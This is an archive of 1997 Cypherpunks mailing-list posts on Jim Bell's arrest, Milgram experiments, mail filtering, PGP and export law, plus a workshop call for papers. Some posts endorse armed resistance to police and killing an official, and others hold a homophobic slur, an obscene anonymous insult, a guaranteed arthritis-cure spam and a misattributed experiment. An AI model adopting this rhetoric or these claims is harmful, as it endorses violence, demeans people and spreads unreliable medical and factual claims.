>1wltug8/rylAoLHulXwFVfwWb001jMIsS5RYNqDLqyccVF2TWUbVKQEgH7EI9VJ3
>EU8gZzHF61ok+bqacmV/r7ANoIdfFRvLZHm0iGo6Xm4xHz8lw2JzDWWvnhWnEquD
>mf3XUaNRVYnI4/+kgs8fx5golMY3pPQrl6PR0XdvvLJITUhiqM3SVTDs9IL4hWAx
>V7WWGPHaJZw6nVAl5LNbLK9puGFw0FMap1a6Ld+HnmRlxlgpr8B/
>=gdHU
>-----END PGP SIGNATURE-----
>
>---
>|     "Bill Clinton - Bringing back the sixties one Nixon at a time."    |
>|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
>| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
>|`finger -l alano at teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
>|         http://www.ctrl-alt-del.com/~alan/       |alan at ctrl-alt-del.com|
>
>
>






From mpd at netcom.com  Mon May 19 08:27:18 1997
From: mpd at netcom.com (Mike Duvos)
Date: Mon, 19 May 1997 23:27:18 +0800
Subject: Jim Bell goes to Jail!
In-Reply-To: <3.0.32.19970519001431.007548dc@netcom13.netcom.com>
Message-ID: <199705191512.IAA21302@netcom21.netcom.com>


Lucky Green writes:

: Right. I read a book on that. I think it was called "The Millgram
: Experiment". Normal people would administer (fake, but they didn't know
: it) electroshocks to a subject even after the subject had stopped moving
: and could have been assumed to be unconscious or even dead. An excellent
: demonstration of the power of authority. And the gullibility of the
: average person. 

Stanley Millgram did quite a few experiments along such lines.  His
conclusion after persuading quite ordinary people to administer what
seemed to be fatal electric shocks to a subject, pressured only by the
orders of an authority figure saying "The experiment must continue"  and
other such phrases, was that should the United States wish to set up a
system of Nazi style death camps, personnel to staff them could be taken
from the population of any average midwestern town. 

He also did another interesting experiment called "prisoners and guards"
in which he selected people at random and dressed them up in the
appropriate uniforms.  The guards happily abused the prisoners, falling
into the appropriate roles almost automatically. 

Of course, such psychological experiments are banned today, because they
don't make it through the ethics committees.  Nonetheless they demonstrate
that there are few differences between "us" and "them," and that most
ordinary people will rise to the occasion when given a new pair of
jackboots. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd at netcom.com     $    via Finger.                      $







From rah at shipwright.com  Mon May 19 08:35:43 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Mon, 19 May 1997 23:35:43 +0800
Subject: Mail bombs from "helpful" Cypherpunks
In-Reply-To: 
Message-ID: 


At 11:26 pm -0400 on 5/18/97, Tim May wrote:


> I have no way of
> removing such "mail bombs" with my Eudora/POP system until they have been
> downloaded to my machine

My version of Eudora, and, I think, the freeware version also, has a little
check box in the "Checking Mail" settings dialog which lets you leave
messages over a certain size on the server, where you can delete them
without having to download them. Since I'm on about 100 mail lists at last
count, including, of course, the SET-dev list, where such godawful
cluelessness (including, BTW, the use of multimegabyte .pdf, Microsoft Word
, and ASN1 files :-)) is commonplace, I
have found this little checkbox a godsend.

I have mine set at 100k. It works for me.

Of course, Tim doesn't get to read this message, or any other, for that
matter, to do him any good this time around...

If we lived here, we'd be home now. Self reference is a dish best tasted
cold, I suppose.

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From tcmay at got.net  Mon May 19 08:59:14 1997
From: tcmay at got.net (Tim May)
Date: Mon, 19 May 1997 23:59:14 +0800
Subject: Legality of Millgram-type psychological experiments
In-Reply-To: <3.0.32.19970519001431.007548dc@netcom13.netcom.com>
Message-ID: 


At 7:12 AM -0800 5/19/97, Mike Duvos wrote:

>Of course, such psychological experiments are banned today, because they
                                               ^^^^^^^^^^^^
>don't make it through the ethics committees.  Nonetheless they demonstrate
>that there are few differences between "us" and "them," and that most
>ordinary people will rise to the occasion when given a new pair of
>jackboots.

I'm curious about the "such psychological experiments are banned today"
assertiokn.

Are you saying that if I were to announce such an exeriments at the next
physical Cypherpunks meeting and ask for volunteers that I would be
breaking some law?

Or are you saying instead that most university researchers are now unable
to get grant money from the NSF and CIA to do such experiments?

Or that any professor who publishes on such things may face disciplinary
action from his university?

Big differences.

Insofar as I understand the law, so long as extreme physical torture is
avoided, no laws cover such experiments. (Many religions are in fact
organized along these lines, a la the Moonies, the Krishnas, etc.)

(And extreme physical torture may also be legal, a la S & M and consenting
sex practices, depending on one's jurisdiction. In San Francisco, even the
mayor attends S & M parties.)

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From tcmay at got.net  Mon May 19 09:30:32 1997
From: tcmay at got.net (Tim May)
Date: Tue, 20 May 1997 00:30:32 +0800
Subject: SIC SEMPER TYRANNIS
In-Reply-To: <3.0.32.19970519000650.0075509c@netcom13.netcom.com>
Message-ID: 


At 11:08 PM -0800 5/18/97, Lucky Green wrote:
...
>some clue as to future actions/other suspects. Remember that the IRS agent
>found the AP essay by means of an Internet search engine. That almost
>certainly means he is following the discussions about Jim Bell on the Net.
>Such as the discussion on Cypherpunks.
>
>It must be truly frightening to this person to read some of the threads on
>this list. Nerve gas, C4, race-specific biological weapons, bypassing
>airport security systems, not to mention money laundering and tax evasion,
>what hasn't been discussed here?

Well, I think it's been some months since we last talked about the ethics
of having the Ruby Ridge shooter, , marked for killing by
rightist bounty hunters. (I hear he's changed his name, and may even be in
the Witness Security program, according to a little birdie down at the
range.)

We talk about the things Paine, Franklin, Madison, Jefferson, and other
Founders would probably have talked about were they writing today. (I'm not
comparing our discourse to theirs, in quality or quantity, for lots of
reasons. But certainly some of the more fiery speeches of Mr. "Give me
liberty or give me death!" would surely raise the same flags that our
(theoretical) discussions of initiating infowar against Congress raise.)

Also, my tag line, "Death to tyrants!" is straight out of the Founders' mouths.

(Sadly, we now have several hundred thousand tyrants, mostly in Washington
and state capitals, who have richly earned this fate...something the
Founders would be screaming for action about.)


>The feds may not be aware that the discussions on this list are usually of
>a theoretical nature. Perhaps they decided to go after the
>"co-conspirators". Like the anarchists in California with their AR-15's who
>have so many mags that they can't even  remember where they all are. :-)

I've since found a dozen or so of these clips. Circumstances have motivated
me to look through some of my packed boxes.


>The fact that Jim is held _without bail_ would indicate to me that there is
>more going on than might meet the eye.
>

Indeed. Lock and load.

We talk about the topics of interest to us. If the media characterizes us
as "crazies" or "militia members," or as "terrorists," this is just par for
the course. If, however, police departments and intelligence agencies mark
us for harassment, arrest, prosecution, forfeiture of assets, etc., then
this is what guns are for.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From azur at netcom.com  Mon May 19 09:34:03 1997
From: azur at netcom.com (Steve Schear)
Date: Tue, 20 May 1997 00:34:03 +0800
Subject: Mail bombs from "helpful" Cypherpunks
In-Reply-To: 
Message-ID: 


>Eudora does have a "Only download messages less than ___K" option
>that can reduce this problem; I don't know if there's also
>a way to delete the message from Eudora without downloading it.
>Netscape Mail has similar options.
>

It does.  If you use the above method for preventing uncontrolled download
(whch I do) and if you also check the "trash attachments with message"
option from the  "Settings" menu, large attachments can be prevented from
download and deleted from the host.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
Key available on BAL server, http://www-swiss.ai.mit.edu/~bal/pks-toplev.html
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur at netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
         but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!







From mpd at netcom.com  Mon May 19 09:42:17 1997
From: mpd at netcom.com (Mike Duvos)
Date: Tue, 20 May 1997 00:42:17 +0800
Subject: Legality of Millgram-type psychological experiments
In-Reply-To: 
Message-ID: <199705191627.JAA14848@netcom16.netcom.com>


Tim May writes:

: I'm curious about the "such psychological experiments are banned today"
: assertiokn. 

: Are you saying that if I were to announce such an exeriments at the next
: physical Cypherpunks meeting and ask for volunteers that I would be
: breaking some law? 

Such experiments require major deception on the part of the experimenter
towards the subject, and the experiments are likely to cause post
traumatic stress afterwards. 

This violates current ethical standards concerning informed consent and
freedom from risk to the subject which govern such experiments today. 

If you performed such an experiment on someone outside of current ethical
guidelines, there would be a queue of lawyers a mile long offering to help
the subject sue you after the fact.  It is not inconceivable that the
subject might convince the police to trump up some charges as well,
related to fraud or psychological torture. 

: Or are you saying instead that most university researchers are now unable
: to get grant money from the NSF and CIA to do such experiments? 

That too. 

: Or that any professor who publishes on such things may face disciplinary
: action from his university? 

You would probably be looking your next tenured position in Brazil. 

: Big differences.

: Insofar as I understand the law, so long as extreme physical torture is
: avoided, no laws cover such experiments. (Many religions are in fact
: organized along these lines, a la the Moonies, the Krishnas, etc.)

: (And extreme physical torture may also be legal, a la S & M and consenting
: sex practices, depending on one's jurisdiction. In San Francisco, even the
: mayor attends S & M parties.)

I think the deception aspect of the experiments would be the major cause
of hassles rather than the unpleasantness aspect.  On the other hand, I
believe there have been prosecutions for consensual S&M in a few
supposedly civilized places, like the UK.  I expect a screaming fag with
nipple pinching clothespins and a portable electro-ejaculator could
probably still get himself arrested domestically for plying his trade in
places like Cincinnati or the states of North Carolina, Tennessee, and
Utah. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd at netcom.com     $    via Finger.                      $






From alan at ctrl-alt-del.com  Mon May 19 09:48:00 1997
From: alan at ctrl-alt-del.com (Alan Olsen)
Date: Tue, 20 May 1997 00:48:00 +0800
Subject: PGP 5.0 beta is out at PGP.com
In-Reply-To: <3.0.32.19970519074003.006affb0@best.com>
Message-ID: <3.0.2.32.19970519092908.03eecd90@mail.teleport.com>


At 07:45 AM 5/19/97 -0700, geeman wrote:
>and if they encrypted or eliminated the feature that logs all my
>pgp-encrypted traffic.

Probably need to test that.  It is a pretty disturbing development.

Has anyone asked PGP inc. why that "feature" is there?  (Or are they just
going to hide it better in the future.)

Ya can't trust anyone anymore...

---
|     "Bill Clinton - Bringing back the sixties one Nixon at a time."    |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano at teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan at ctrl-alt-del.com|






From jwn2 at qualcomm.com  Mon May 19 09:54:10 1997
From: jwn2 at qualcomm.com (John W. Noerenberg)
Date: Tue, 20 May 1997 00:54:10 +0800
Subject: PGP 5.0 beta is out at PGP.com
In-Reply-To: <199705181853.LAA01875@netcom18.netcom.com>
Message-ID: 

At 12:26 PM -0700 5/18/97, Alan Olsen wrote:
>
>Have you noticed that none of the PGP people have posted as of late?  I
>wonder if they were among the "purged".
>

I understand they are taking a very narrow interpretation of the
prohibition about rendering technical assistance to non-US citizens.
Mailing lists may not be public enough, so they are being cautious.

john noerenberg
jwn2 at qualcomm.com
  --------------------------------------------------------------------
   "We need not to be left alone.  We need to be really
    bothered once in a while."
  -- Ray Bradbury, Farhenheit 451, 1953
  --------------------------------------------------------------------


-------------- next part --------------
A non-text attachment was scrubbed...
Name: pgp00000.pgp
Type: application/octet-stream
Size: 335 bytes
Desc: "PGP signature"
URL: 

From alan at ctrl-alt-del.com  Mon May 19 09:54:26 1997
From: alan at ctrl-alt-del.com (Alan Olsen)
Date: Tue, 20 May 1997 00:54:26 +0800
Subject: Jim Bell goes to Jail!
In-Reply-To: <3.0.32.19970519000650.0075509c@netcom13.netcom.com>
Message-ID: <3.0.2.32.19970519091747.0083a960@mail.teleport.com>


At 12:08 AM 5/19/97 -0700, Lucky Green wrote:

>There are two reasons I can think of immediately why the feds would keep
>the warrant sealed. The first is that they don't want to reveal just how
>little evidence they have. The second reason is that the warrant might give
>some clue as to future actions/other suspects. Remember that the IRS agent
>found the AP essay by means of an Internet search engine. That almost
>certainly means he is following the discussions about Jim Bell on the Net.
>Such as the discussion on Cypherpunks.

Actually the agent claimed to have found it among some papers in Jim's car
when the seized it for back taxes.

---
|     "Bill Clinton - Bringing back the sixties one Nixon at a time."    |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano at teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan at ctrl-alt-del.com|






From stewarts at ix.netcom.com  Mon May 19 09:57:20 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Tue, 20 May 1997 00:57:20 +0800
Subject: Distributing cryptographic code
In-Reply-To: <199705191420.IAA22020@teal.csn.net>
Message-ID: <3.0.1.32.19970519090410.00646430@popd.ix.netcom.com>


>>   We would like to put this code up for distribution (within the US
>> of course), but don't actually know what is a 'reasonable' amount of
>> protection that one need apply to prevent people from exporting
>> it to the rest of the world.

The current MIT PGP software distribution has apparently had some
discussion with the Feds.

MPJ>The technical solution that I have come up with is (1) have a web form
MPJ> that asks 3 questions*, with the questions defaulting to "no"

The questions that get asked can be phrased in a lot of different ways;
as an anarchist I think that pgp.com's is a lot more friendly than some.
A few places go to the extremes of "Are you a Subject of the US Gov't?
Do you agree to be bound by every provision of the US Export laws,
written or unwritten, and not even CONSIDER giving this code to anyone
who might be a Furriner?  Sign in blood here!", while others are more like
"Have you heard that the US export laws say ?
Do you state that it's ok for you to have the code, and that
it's Not Our Fault?"

MPJ> If all 3 answers are "yes", and if the email address given is in a  
MPJ> domain that might be in the USA (.com, .gov, .org, .us, .mil, .net, 

Of course, .com, .net, and .org are non-nationally-based domains,
and even email servers physically located in the US often have
users located outside US territory.  CompuServe is a prime example,
with users all over the world.  Some US-only-code-distribution sites
try to keep track of which sites are in the US, at least for .net.
Since the MIT code distribution site has been allowed to operate
in spite of this, the attitude of the Export Cops appears to be a
"Yes, we know it's bogus and unenforceable, but we need to at least
maintain the pretense that we're enforcing it, so don't ask
for too much technical clarification or we'll have to say No."

[* Mime-Attachment: x-audio
   Audio-Parameter-Setting: Don-Hopkins-Imitating-Monty-Python
	"WHAT is your name?
	WHAT is your favorite color?
	HOW FAR can a migrating swallow fly while carrying a coconut?"
		"Er, is that a European swallow, or an African swallow?"
	

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From Ross.Anderson at cl.cam.ac.uk  Mon May 19 10:24:50 1997
From: Ross.Anderson at cl.cam.ac.uk (Ross Anderson)
Date: Tue, 20 May 1997 01:24:50 +0800
Subject: Information Hiding Workshop
Message-ID: <3.0.1.32.19970519115532.007b0b90@smtp1.abraxis.com>



			Call for Papers 

		WORKSHOP ON INFORMATION HIDING

		      15 - 17 April 1998

		       Portland, Oregon


Many researchers are interested in hiding information or in stopping other
people doing this. Current research themes include copyright marking of 
igital objects, covert channels in computer systems, subliminal channels 
in cryptographic protocols, low-probability-of-intercept communications,
broadcast encryption schemes, and various kinds of anonymity services 
ranging from steganography through location security to digital elections.

These closely linked areas of study were brought together in 1996 by a
workshop on information hiding held at the Isaac Newton Institute in
Cambridge. This was felt to be very worthwhile by the research community, 
and it was decided to hold a second workshop in 1998.

This second international workshop on information hiding will be held in 
Portland, Oregon from the 15th to the 17th April 1998. 


Instructions for authors:

Interested parties are invited to submit papers on research and practice
which are related to these areas of interest. Submissions can be made
electronically (latex or postscript; preferred format is latex using
llncs.sty) or in paper form; in the latter case, send eight copies
suitable for blind refereeing (the authors' names should be on a separate
cover sheet and there should be no obvious references). Papers should not
exceed fifteen pages in length.


Addresses for submission:

	awk at mailbox.jf.intel.com

	David Aucsmith
	Intel Architecture Labs
	5200 N. E. Elam Young Parkway
	Hillsboro, OR 97124-6497
	USA


Deadlines:

	Paper submission:               		31st December 1997
	Notification of acceptance:     		28th February 1998
	Camera-ready copy for preproceedings:   	31st March 1998
	Camera-ready copy for final proceedings:	31st May 1998


Program committee:

	David Aucsmith (Intel) - chair
	Ross Anderson (Cambridge University)
	Steve Low (AT&T Bell Laboratories)
	Ira Moskowitz (US Naval Research Laboratory)
	Andreas Pfitzmann (Technical University of Dresden)
	Jean-Jacques Quisquater (Catholic University of Louvain)
	Gus Simmons (University of New Mexico)
	Michael Waidner (IBM, Zuerich)


WWW version of cfp at http://www.cl.cam.ac.uk/users/rja14/ihws.html

Details of the first (1996) information hiding workshop are at
http://www.cl.cam.ac.uk/users/fapp2/steganography/bibliography/workshop.html






From jim.burnes at ssds.com  Mon May 19 10:29:29 1997
From: jim.burnes at ssds.com (Jim Burnes)
Date: Tue, 20 May 1997 01:29:29 +0800
Subject: Nature of Anarchy/ Anarchy of Nature
In-Reply-To: <199705190036.TAA19421@mailhub.amaranth.com>
Message-ID: 




On Sun, 18 May 1997, William H. Geiger III wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> 
> In , on 05/18/97 at 06:25 PM,
>    Steve Schear  said:
> 
> 
> >At 5:52 PM -0500 5/18/97, William H. Geiger III wrote:
> >>-----BEGIN PGP SIGNED MESSAGE-----
> >>
> >>
> >>In <199705182225.PAA03246 at fat.doobie.com>, on 05/18/97 at 04:25 PM,
> >>   nobody at huge.cajones.com (Huge Cajones Remailer) said:
> >>
> >>
> >>[New Age Snip]
> >>
> >>>I believe this was a major quantum leap in the history of  human  thought
> >>>and concioussness. A giant step in the right direction of our  true
> >>>divinity but it was sorely flawed; By the concept of property  rights.
> >>>This is where the founding fathers eogos got in the way.
> >>
> >>>The liberation movements of the last century have been based on the  same
> >>>concept of unalienable rights and have attempted to fine tune  the
> >>>document for  a more equitable distribution of planet power to  correct
> >>>the flaw.
> >>
> >> There is a fundamental fact of politics/economics that a socialist
> >>economy and a democratic political structure can not co-exsist.
> >>
> >>The concept of property rights is not a flaw but the foundation on which
> >>the constitution and this country is built on. Without the ability to
> >>controll ones own property all other rights fall by the wayside.

> >>
> >>I sugest reading "The Wealth of Nations" by Adam Smith for a better
> >>understanding of Capitalism and why it is the *only* economic model that
> >>works for a free society.
> >>
> 

> >Even better, "The Road to Surfdom," F.A. Hayek, totally debunks the basis
> >of a planned economy and how the loss of property ownership and economic
> >freedom leads directly and inevitably to totalitarianism.
> 

> Yes, very good read. Have you read any of his other works?
> 
> I thought that Smith was a good start as it was his economic philosophy
> that guided our founding fathers.
> 
> I find it rather depressing that too few people understand the
> relationships between economics & politics and how they affect the freedom
> of the individule. 
> 

Or more succinctly put:

"Without private property there can be no privacy"

                   -anonymous
                   (how appropriate - anonymous quotes on cypherpunks)

Jim Burnes







From shamrock at netcom.com  Mon May 19 10:32:35 1997
From: shamrock at netcom.com (Lucky Green)
Date: Tue, 20 May 1997 01:32:35 +0800
Subject: Jim Bell goes to Jail!
Message-ID: <3.0.32.19970519101346.00714fe0@netcom13.netcom.com>


At 09:17 AM 5/19/97 -0700, Alan Olsen wrote:
>At 12:08 AM 5/19/97 -0700, Lucky Green wrote:
>
>>There are two reasons I can think of immediately why the feds would keep
>>the warrant sealed. The first is that they don't want to reveal just how
>>little evidence they have. The second reason is that the warrant might give
>>some clue as to future actions/other suspects. Remember that the IRS agent
>>found the AP essay by means of an Internet search engine. That almost
>>certainly means he is following the discussions about Jim Bell on the Net.
>>Such as the discussion on Cypherpunks.
>
>Actually the agent claimed to have found it among some papers in Jim's car
>when the seized it for back taxes.

I stand corrected. The essay was found in the car. However, after the essay
was  found the agent searched the Internet for copies of the essay and
posts by Jim Bell discussing it. The agent's original affidavit states the
number of AP related post by Jim the fed could find via a search engine.



-- Lucky Green  PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi






From dibona at acm.org  Mon May 19 10:37:46 1997
From: dibona at acm.org (Chris DiBona)
Date: Tue, 20 May 1997 01:37:46 +0800
Subject: Jim Bell goes to Jail--We should avoid raidable, physical meeting
Message-ID: <01BC643D.699ED1D0@marmoset.loc201.tandem.com>





I couldn't disagree with you more Tim.

If the FBI wants to come raid a Cypherpunk meeting and arrest me, they should be ready for a law suit that will make thier heads spin. I mean can you think of anything more protected by the first amendment than a bunch of hobbiest getting together to discuss math, for christs sakes? I know a couple of lawyers who would drool at the chance to defend someone who is lily white and is arrested for meeting and discussing prime numbers. 

To suggest the cessation of meetings (no matter how worthless Dimitri) really seems to me to be counter to everything this group is about. 



    Chris DiBona


-----Original Message-----
From:	Dr.Dimitri Vulis KOTM [SMTP:dlv at bwalk.dm.com]
Sent:	Monday, May 19, 1997 4:30 AM
To:	cypherpunks at toad.com
Subject:	Re: Jim Bell goes to Jail--We should avoid raidable, physical meeting

Tim May  writes:
> (Also, I suggest _physical_ Cypherpunks meetings not be held for the
> foreseeable future. I know I plan to skip them all. A gathering of "reputed
> information terrorists, who have openly discussed assassination markets, C4
> explosives, and the destabilization of democratic governments" would be too
> ripe a target for clowns like Reno, Freeh, and Kallstrom.)

The physical meetings I've been to were not worth the trip.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps







From dlv at bwalk.dm.com  Mon May 19 10:37:54 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 20 May 1997 01:37:54 +0800
Subject: Need some info...
In-Reply-To: 
Message-ID: 


"Wasim Q. Malik"  writes:

> Hi.
> 
> I'm gonna give a talk on the subject of hacking/security soon. Need your
> help with it.
> 
> Things that I'm gonna include are: 
> 	what is hacking, 
> 	ethics of hacking,
> 	psychlogy of hacking, 
> 	other abstracts. 
> 
> 	Some technical stuff, such as hacking tools and tactics, including
> 		IP spoofing,
> 		packet sniffing,
> 		cracker programs, 
> 		keyloggers, 
> 		progs like satan, etc.
> 
> 
> Can you suggest some additional stuff to be included, or if you have any
> resources (URLs, articles, progs, HOW-TOs, graphics, anything!), related
> to any of the above topics, technical or whatever, please please do send
> it over. 
> 
> Your suggestions will be a great help, as well as any info.
> 
> Thanks.
> 
> 
> 
> Wasim Q. Malik
> Network Security Expert
> SDNP Pakistan
> 

is this going to be in NYC?  Can I come and listen?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From Jacks-Biz at usa.net  Tue May 20 01:46:24 1997
From: Jacks-Biz at usa.net (Jacks-Biz at usa.net)
Date: Tue, 20 May 1997 01:46:24 -0700 (PDT)
Subject: "GOOD NEWS"
Message-ID: <199705200619.XAA25219@alicia.sysmore.com>


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 One Bottle - One Time - That's it!
                 and
          "BOOM YOUR WELL"
 It's A Miracle and It's GUARANTEED!

 Is (CMO)TM, Cetyl Myristoleate a
 CURE for Arthritis?????? We think
so and so do 1,000's of past users!
 Call Jon Boulet at (602)267-9688
 4-11pm (MST) for a FREE informa-
           tion package.






From tcmay at got.net  Mon May 19 11:07:56 1997
From: tcmay at got.net (Tim May)
Date: Tue, 20 May 1997 02:07:56 +0800
Subject: Bypassing U.S. export laws at physical meetings
In-Reply-To: <3.0.2.32.19970518122618.00aa85e0@mail.teleport.com>
Message-ID: 


At 8:33 AM -0800 5/19/97, John W. Noerenberg wrote:
>At 12:26 PM -0700 5/18/97, Alan Olsen wrote:
>>
>>Have you noticed that none of the PGP people have posted as of late?  I
>>wonder if they were among the "purged".
>>
>
>I understand they are taking a very narrow interpretation of the
>prohibition about rendering technical assistance to non-US citizens.
>Mailing lists may not be public enough, so they are being cautious.
>

Interestingly, PGP staffers have been "helping" exports at physical
Cypherpunks meetings...which they view as ideal fora for bypassing the U.S.
laws. Companies wishing to communicate important crypto information to
foreign developers have used the physical meetings to do this "legally" (so
they claim...I'm not a lawyer).

(That several Japanese nationals were at one such meeting, picking up the
PGP documentation, did not matter. Nor did it matter that the presentation
was videotaped for non-U.S. distribution. Nor that other foreign nationals
were in the audience.)

Of course, if Prof. Junger loses his case, I suppose we'll have to check
for passports at the door.

(Though such checking of passports probably violates other laws about
discrimination. For example, the "Egghead example" (does Egghead face
charges if it sells to a foreigner?). Does Egghead get in
antidiscrimination trouble if it asks to see some documentation on
dark-skinned or foreign-looking persons, while not, obviously, demanding
passports from white-skinned or black-skinned 'Muricans?)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From nobody at REPLAY.COM  Mon May 19 11:12:34 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Tue, 20 May 1997 02:12:34 +0800
Subject: Forgery detection
Message-ID: <199705191758.TAA01839@basement.replay.com>


Tim C. May is just another garden variety Intel pansy that has been misusing its 
`manhole' so badly that the overstretched sphincter cannot hold back the shit that 
all Intellers are full of and it spills out onto this mailing list.

            /\_/\
           ( x x )
       -oo0-(o o)-0oo- Tim C. May






From wcampbel at peganet.com  Mon May 19 11:14:35 1997
From: wcampbel at peganet.com (Bill Campbell)
Date: Tue, 20 May 1997 02:14:35 +0800
Subject: Availability of Pini's CryptoCD
Message-ID: <199705191804.OAA17101@mercury.peganet.net>


I've been trying to get a copy of the Crypto CD using the ISBN
number he used to have listed on his web page. However, every
bookstore I've checked with can find no reference to it. Has
anyone on the list gotten it via this method? I looked for
Pini's web page but it appears to be gone. Anyone know
about sources for the CD?

Thanks

=Bill=






From tcmay at got.net  Mon May 19 11:18:27 1997
From: tcmay at got.net (Tim May)
Date: Tue, 20 May 1997 02:18:27 +0800
Subject: Jim Bell goes to Jail--We should avoid raidable, physicalmeeting
In-Reply-To: <01BC643D.699ED1D0@marmoset.loc201.tandem.com>
Message-ID: 


At 9:14 AM -0800 5/19/97, Chris DiBona wrote:
>
>
>I couldn't disagree with you more Tim.
>
>If the FBI wants to come raid a Cypherpunk meeting and arrest me, they
>should be ready for a law suit that will make thier heads spin. I mean can
>you think of anything more protected by the first amendment than a bunch
>of hobbiest getting together to discuss math, for christs sakes? I know a
>couple of lawyers who would drool at the chance to defend someone who is
>lily white and is arrested for meeting and discussing prime numbers.
>
>To suggest the cessation of meetings (no matter how worthless Dimitri)
>really seems to me to be counter to everything this group is about.


Fine that you disagree. I think a lot of Feds would view a meeting of 40-50
people discussing assassination politics, violating U.S. export laws,
modifications of semi-automatic rifles to make them more effective in
counter-gov't-terrorism, etc, to be a "ripe target." Good for publicity on
the evening news.

(At the 20-30 meetings I have been at over the last almost 5 years, very
few of them have revolved around "discussing prime numbers.")

Whether it stands up in court depends on the charges. As for you being
willing to file a lawsuit that will make their heads spin, good for you.
But to win a lawsuit, one has to have a case. And the laws are written
broadly these days, and I doubt such a case would be won.

(Did anything ever come of the police actions at the "2600" meetings in
D.C. a few years back? I don't recall all of the details, but I gather the
cops either moved in and made arrests, or maybe just watched and took down
license plate numbers.)

By all means, have meetings. I just intend to be in places where I can have
defensive weapons at the ready (which has been at some Cypherpunks physical
meetings, of course).

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From wcampbel at peganet.com  Mon May 19 11:19:53 1997
From: wcampbel at peganet.com (Bill Campbell)
Date: Tue, 20 May 1997 02:19:53 +0800
Subject: Availability of Pini's CryptoCD
Message-ID: <199705191805.OAA17152@mercury.peganet.net>


I've been trying to get a copy of the Crypto CD using the ISBN
number he used to have listed on his web page. However, every
bookstore I've checked with can find no reference to it. Has
anyone on the list gotten it via this method? I looked for
Pini's web page but it appears to be gone. Anyone know
about sources for the CD?

Thanks

=Bill=






From hal at rain.org  Mon May 19 12:08:58 1997
From: hal at rain.org (Hal Finney)
Date: Tue, 20 May 1997 03:08:58 +0800
Subject: Information Hiding Workshop
Message-ID: <199705191846.LAA31650@crypt.hfinney.com>


> WWW version of cfp at http://www.cl.cam.ac.uk/users/rja14/ihws.html
>
> Details of the first (1996) information hiding workshop are at
> http://www.cl.cam.ac.uk/users/fapp2/steganography/bibliography/workshop.html

The second URL above has abstracts from the conference, many of which sound
very interesting from a CP point of view.  It's kind of strange though that
this topic encompasses both steganography and fingerprinting.  The first
has connotations of freedom, while the second connotes restrictions.  What
both have in common is embedding information undetectably and/or unremovably.

The conference proceedings, "Information Hiding", are currently checked out
from the local university library but I will be looking for them.  There
